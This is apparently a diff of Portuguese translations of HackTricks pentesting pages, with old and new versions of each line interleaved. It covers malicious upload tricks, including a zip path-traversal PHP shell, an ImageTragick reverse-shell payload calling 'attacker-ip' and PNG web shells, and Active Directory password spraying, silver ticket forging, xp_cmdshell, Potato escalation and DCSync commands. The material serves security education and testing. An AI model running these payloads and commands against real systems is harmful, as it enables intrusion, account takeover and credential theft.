Envie um arquivo contendo symlinks para outros arquivos; ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descomprimir em diferentes pastas
### Descompactar em pastas diferentes
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar de suposições iniciais de que essa configuração poderia proteger contra execução de comandos a nível do SO através de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload protegidos manipulando a funcionalidade de descompressão da aplicação alvo.
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do sistema operacional via uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado:
```python
@ -254,11 +254,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**Abuso de compressão para file spraying**
Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para mais detalhes **consulte o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
1. **Criando um PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
```php
<?php
@ -275,7 +275,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para atravessar diretórios.
3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando "xxA" por "../" para percorrer diretórios.
```bash
:set modifiable
@ -285,36 +285,36 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767))
Envie este conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (veja o [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## Incorporando PHP Shell em PNG
Incorporar uma PHP shell no chunk IDAT de um arquivo PNG pode contornar eficazmente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade da PHP shell incorporada de permanecer inalterada por essas operações é uma vantagem significativa para certos casos de uso.
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa em certos casos de uso.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e de suas implicações.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece um entendimento abrangente do processo e suas implicações.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Arquivos Polyglot
Arquivos polyglot servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
Arquivos polyglot servem como uma ferramenta única em segurança cibernética, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um RAR archive. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade principal dos polyglots reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar silenciosamente essas restrições.
A utilidade central dos arquivos polyglot reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. É prática comum em várias aplicações permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). Contudo, um polyglot, ao satisfazer os critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições furtivamente.
Apesar de sua adaptabilidade, os polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload.
Apesar de sua adaptabilidade, polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
### Fazer upload de JSONs válidos como se fossem PDF
Como evitar detecções de tipo de arquivo enviando um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo quando não permitido, fingindo ser um arquivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post)
- **`mmmagic` library**: Contanto que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é considerado válido (veja exemplo no post)
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post)
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga interpretar o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele pensará que é um PDF
- **`file` binary**: Pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga parsear o conteúdo como um json e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai interpretar como PDF
## Referências

2
src/windows-hardening/active-directory-methodology/kerberos-authentication.md
View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Confira o post incrível em:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Confira o excelente post em:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

74
src/windows-hardening/active-directory-methodology/password-spraying.md
View File

@ -5,16 +5,16 @@
## **Password Spraying**
Uma vez que você tenha encontrado vários **valid usernames**, você pode tentar as **most common passwords** (tenha em mente a **password policy** do ambiente) com cada um dos discovered users.\
Por **default** o **minimum password length** é **7**.
Uma vez que você encontrou vários **valid usernames** pode tentar as **common passwords** mais usadas (tenha em mente a password policy do ambiente) com cada um dos usuários descobertos.\
Por **default** o **minimum** **password** **length** é **7**.
Listas de common usernames também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Observe que você **could lockout some accounts if you try several wrong passwords** (por **default** mais de 10).
Observe que você **could lockout some accounts if you try several wrong passwords** (por padrão mais de 10).
### Obter password policy
### Get password policy
Se você tiver algumas user credentials ou um shell como domain user, você pode **obter a password policy com**:
Se você tiver algumas user credentials ou um shell como domain user você pode **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploração a partir do Linux (ou todos)
### Exploração a partir de Linux (ou todos)
- Usando **crackmapexec:**
```bash
@ -69,7 +69,7 @@ done
```
#### Do Windows
- Usando a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module:
- Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão, obterá a política de senhas do domínio e limitará as tentativas de acordo com ela):
- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com ela):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Identificar e assumir contas "Password must change at next logon" (SAMR)
### Identificar e Assumir Contas "Password must change at next logon" (SAMR)
Uma técnica de baixo ruído é usar password spraying com uma senha benign/empty e detectar contas que retornam STATUS_PASSWORD_MUST_CHANGE, o que indica que a senha foi forçosamente expirada e pode ser alterada sem conhecer a antiga.
Uma técnica de baixo ruído é testar uma password benign/empty e identificar contas que retornem STATUS_PASSWORD_MUST_CHANGE, o que indica que a password foi forçada a expirar e pode ser alterada sem conhecer a anterior.
Fluxo de trabalho:
- Enumerar usuários (RID brute via SAMR) para construir a lista de alvos:
- Enumerar utilizadores (RID brute via SAMR) para construir a lista de alvos:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Fluxo de trabalho:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Faça password spraying com senha vazia e continue após acertos para capturar contas que devem alterar a senha no próximo logon:
- Spray uma password vazia e continue nos hits para capturar contas que devem mudar no próximo logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definida):
- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definido):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,26 +114,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Notas operacionais:
- Garanta que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate <dc_fqdn>`.
- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que os creds são válidos, mas a conta não possui direitos de logon interativo.
- Certifique-se de que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate <dc_fqdn>`.
- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que as creds são válidas, mas a conta não possui direitos de logon interativo.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying com direcionamento LDAP e limitação ciente de PSO (SpearSpray)
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying reduz ruído vs tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. O SpearSpray combina direcionamento baseado em LDAP, um pattern engine e awareness de políticas (domain policy + PSOs + buffer do badPwdCount) para spray de forma precisa e segura. Também pode taggar principals comprometidos no Neo4j para pathing do BloodHound.
Kerberos pre-auth–based spraying reduz o ruído em comparação com tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. SpearSpray combina direcionamento orientado por LDAP, um motor de padrões e consciência de políticas (domain policy + PSOs + buffer badPwdCount) para sprayar de forma precisa e segura. Também pode marcar principais comprometidos no Neo4j para pathing do BloodHound.
Key ideas:
- LDAP user discovery com paginação e suporte a LDAPS, opcionalmente usando filtros LDAP customizados.
- Domain lockout policy + PSO-aware filtering para deixar um buffer configurável de tentativas (threshold) e evitar bloquear usuários.
- Kerberos pre-auth validation usando bindings gssapi rápidos (gera 4768/4771 nos DCs ao invés de 4625).
- Geração de senha por usuário baseada em pattern, usando variáveis como nomes e valores temporais derivados do pwdLastSet de cada usuário.
- Controle de throughput com threads, jitter e máximo de requests por segundo.
- Integração opcional com Neo4j para marcar usuários com controle para BloodHound.
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
Uso básico e descoberta:
Basic usage and discovery:
```bash
# List available pattern variables
spearspray -l
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Segmentação e controle de padrões:
Direcionamento e controle de padrão:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Controles de sigilo e segurança:
Controles de furtividade e segurança:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -174,29 +174,29 @@ Visão geral do sistema de padrões (patterns.txt):
{samaccountname}
{extra}{separator}{year}{suffix}
```
Variáveis disponíveis incluem:
Available variables include:
- {name}, {samaccountname}
- Temporais a partir do pwdLastSet de cada usuário (ou whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Ajudantes de composição e token da org: {separator}, {suffix}, {extra}
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
Notas operacionais:
- Prefira consultar o PDC-emulator com -dc para obter o badPwdCount mais autoritativo e informações relacionadas à política.
- Os resets de badPwdCount são acionados na próxima tentativa após a janela de observação; use o limiar e a temporização para agir com segurança.
- As tentativas de pré-autenticação Kerberos aparecem como 4768/4771 na telemetria do DC; use jitter e rate-limiting para se misturar.
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
> Dica: O tamanho de página LDAP padrão do SpearSpray é 200; ajuste com -lps conforme necessário.
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
Existem várias ferramentas para p**assword spraying outlook**.
Existem múltiplas ferramentas para p**assword spraying outlook**.
- Com [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- Com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Com [Ruler](https://github.com/sensepost/ruler) (confiável!)
- Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma senha / uma pequena lista de senhas para spray.
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma password / uma pequena lista de passwords para spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

43
src/windows-hardening/active-directory-methodology/silver-ticket.md
View File

@ -6,15 +6,15 @@
## Silver ticket
O ataque **Silver Ticket** envolve a exploração de service tickets em ambientes Active Directory (AD). Este método depende de **adquirir o NTLM hash de uma service account**, como uma computer account, para forjar um Ticket Granting Service (TGS) ticket. Com esse ticket forjado, um atacante pode acessar serviços específicos na rede, **se passando por qualquer usuário**, tipicamente visando privilégios administrativos. Enfatiza-se que usar AES keys para forjar tickets é mais seguro e menos detectável.
O ataque **Silver Ticket** envolve a exploração de service tickets em ambientes Active Directory (AD). Este método baseia-se em **adquirir o NTLM hash de uma service account**, como uma computer account, para forjar um Ticket Granting Service (TGS) ticket. Com esse ticket forjado, um atacante pode acessar serviços específicos na rede, **impersonando qualquer usuário**, tipicamente visando privilégios administrativos. É enfatizado que usar AES keys para forjar tickets é mais seguro e menos detectável.
> [!WARNING]
> Silver Tickets são menos detectáveis do que Golden Tickets porque requerem apenas o **hash da service account**, não a krbtgt account. No entanto, eles são limitados ao serviço específico que atacam. Além disso, apenas roubar a senha de um usuário.
> Além disso, se você comprometer a **senha de uma conta com um SPN** você pode usar essa senha para criar um Silver Ticket passando-se por qualquer usuário para esse serviço.
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
Para a criação de tickets, diferentes ferramentas são empregadas conforme o sistema operacional:
For ticket crafting, different tools are employed based on the operating system:
### No Linux
### On Linux
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@ -39,9 +39,9 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
```
O serviço CIFS é destacado como um alvo comum para acessar o sistema de arquivos da vítima, mas outros serviços como HOST e RPCSS também podem ser explorados para tarefas e consultas WMI.
### Exemplo: MSSQL service (MSSQLSvc) + Potato to SYSTEM
### Exemplo: serviço MSSQL (MSSQLSvc) + Potato para SYSTEM
Se você tiver o NTLM hash (ou AES key) de uma conta de serviço SQL (por exemplo, sqlsvc) você pode forjar um TGS para o MSSQL SPN e impersonar qualquer usuário perante o serviço SQL. A partir daí, habilite xp_cmdshell para executar comandos como a conta de serviço SQL. Se esse token tiver SeImpersonatePrivilege, você pode encadear um Potato para elevar para SYSTEM.
Se você tiver o hash NTLM (ou a chave AES) de uma conta de serviço SQL (por exemplo, sqlsvc), você pode forjar um TGS para o SPN MSSQL e fazer impersonate de qualquer usuário no serviço SQL. A partir daí, habilite xp_cmdshell para executar comandos como a conta de serviço SQL. Se esse token tiver SeImpersonatePrivilege, encadeie um Potato para elevar-se a SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,7 +52,7 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Se o contexto resultante tiver SeImpersonatePrivilege (frequentemente verdadeiro para contas de serviço), use uma variante de Potato para obter SYSTEM:
- Se o contexto resultante tiver SeImpersonatePrivilege (frequentemente verdadeiro para service accounts), use uma variante de Potato para obter SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
@ -73,11 +73,11 @@ Visão geral das técnicas Potato:
## Serviços Disponíveis
| Tipo de Serviço | Serviço (Silver Tickets) |
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Dependendo do SO também:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Em algumas ocasiões você pode simplesmente solicitar: WINRM</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
@ -88,7 +88,7 @@ Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmet
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silver tickets - IDs de Evento
### Silver tickets IDs de Evento
- 4624: Logon de Conta
- 4634: Logoff de Conta
@ -96,11 +96,11 @@ Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmet
## Persistência
Para evitar que as máquinas rotacionem sua senha a cada 30 dias, defina `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou você pode definir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` para um valor maior que 30 dias para indicar o período de rotação quando a senha da máquina deve ser alterada.
Para evitar que as máquinas rotacionem sua senha a cada 30 dias, defina `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou você pode definir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` para um valor maior que 30days para indicar o período de rotação quando a senha da máquina deve ser rotacionada.
## Abusando de Service tickets
Nos exemplos a seguir, vamos imaginar que o ticket foi obtido impersonando a conta de administrador.
Nos exemplos a seguir, vamos imaginar que o ticket foi obtido se passando pela conta de administrador.
### CIFS
@ -110,7 +110,7 @@ dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Você também poderá obter um shell dentro do host ou executar comandos arbitrários usando **psexec**:
Você também poderá obter um shell no host ou executar comandos arbitrários usando **psexec**:
{{#ref}}
@ -119,7 +119,7 @@ Você também poderá obter um shell dentro do host ou executar comandos arbitr
### HOST
Com essa permissão você pode criar tarefas agendadas em computadores remotos e executar comandos arbitrários:
Com essa permissão você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Encontre **mais informações sobre wmiexec** na seguinte página:
Encontre **mais informações sobre wmiexec** na página a seguir:
{{#ref}}
@ -156,22 +156,23 @@ Com acesso winrm a um computador você pode **acessá-lo** e até obter um Power
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Consulte a página a seguir para aprender **mais maneiras de conectar-se a um host remoto usando winrm**:
Consulte a página a seguir para aprender **mais formas de conectar-se a um host remoto usando winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Observe que **o winrm deve estar ativo e aceitando conexões** no computador remoto para acessá-lo.
> Observe que **winrm deve estar ativo e escutando** no computador remoto para acessá-lo.
### LDAP
Com esse privilégio você pode fazer dump do banco de dados do DC usando **DCSync**:
Com esse privilégio você pode extrair o banco de dados do DC usando **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**Saiba mais sobre DCSync** na seguinte página:
**Saiba mais sobre DCSync** na página a seguir:
{{#ref}}

130
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -4,14 +4,14 @@
## Política do AppLocker
Uma lista de permissões de aplicações é uma lista de aplicações de software aprovadas ou executáveis que são permitidos estar presentes e executar em um sistema. O objetivo é proteger o ambiente de malware prejudicial e software não aprovado que não esteja alinhado com as necessidades de negócio específicas de uma organização.
Uma whitelist de aplicações é uma lista de aplicativos ou executáveis aprovados que podem estar presentes e ser executados em um sistema. O objetivo é proteger o ambiente contra malware nocivo e software não aprovado que não esteja alinhado com as necessidades específicas de negócio de uma organização.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) é a **solução de whitelist de aplicações** da Microsoft e dá aos administradores do sistema controle sobre **quais aplicações e ficheiros os utilizadores podem executar**. Fornece **controlo granular** sobre executáveis, scripts, arquivos de instalação do Windows, DLLs, packaged apps e packed app installers.\
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) é a Microsoft’s **application whitelisting solution** e dá aos administradores de sistema controle sobre **quais aplicações e arquivos os usuários podem executar**. Ele fornece **controle granular** sobre executáveis, scripts, arquivos de instalação do Windows, DLLs, packaged apps e packed app installers.\
É comum que organizações **bloqueiem cmd.exe e PowerShell.exe** e o acesso de escrita a certos diretórios, **mas tudo isso pode ser contornado**.
### Verificar
Verifique quais arquivos/extensões estão bloqueados/permitidos:
Verifique quais arquivos/extensões estão blacklisted/whitelisted:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,56 +20,56 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Este caminho do registro contém as configurações e políticas aplicadas pelo AppLocker, oferecendo uma maneira de revisar o conjunto atual de regras aplicadas no sistema:
Este caminho do registro contém as configurações e políticas aplicadas pelo AppLocker, fornecendo uma forma de revisar o conjunto atual de regras aplicadas no sistema:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
- Useful **Writable folders** to bypass AppLocker Policy: Se o AppLocker está permitindo executar qualquer coisa dentro de `C:\Windows\System32` ou `C:\Windows`, existem **writable folders** que você pode usar para **bypass this**.
- **Pastas graváveis** úteis para contornar a política do AppLocker: se o AppLocker estiver permitindo executar qualquer coisa dentro de `C:\Windows\System32` ou `C:\Windows`, existem **pastas graváveis** que você pode usar para **contornar isso**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Frequentemente **confiados** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries também podem ser úteis para contornar o AppLocker.
- Binários comumente **confiáveis** [**"LOLBAS's"**](https://lolbas-project.github.io/) podem também ser úteis para contornar AppLocker.
- **Regras mal escritas também podem ser contornadas**
- Por exemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, você pode criar uma **pasta chamada `allowed`** em qualquer lugar e ela será permitida.
- Organizações frequentemente focam em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
- A **aplicação de DLLs raramente é ativada** devido à carga adicional que pode impor ao sistema e à quantidade de testes necessários para garantir que nada quebre. Então usar **DLLs como backdoors ajudará a contornar o AppLocker**.
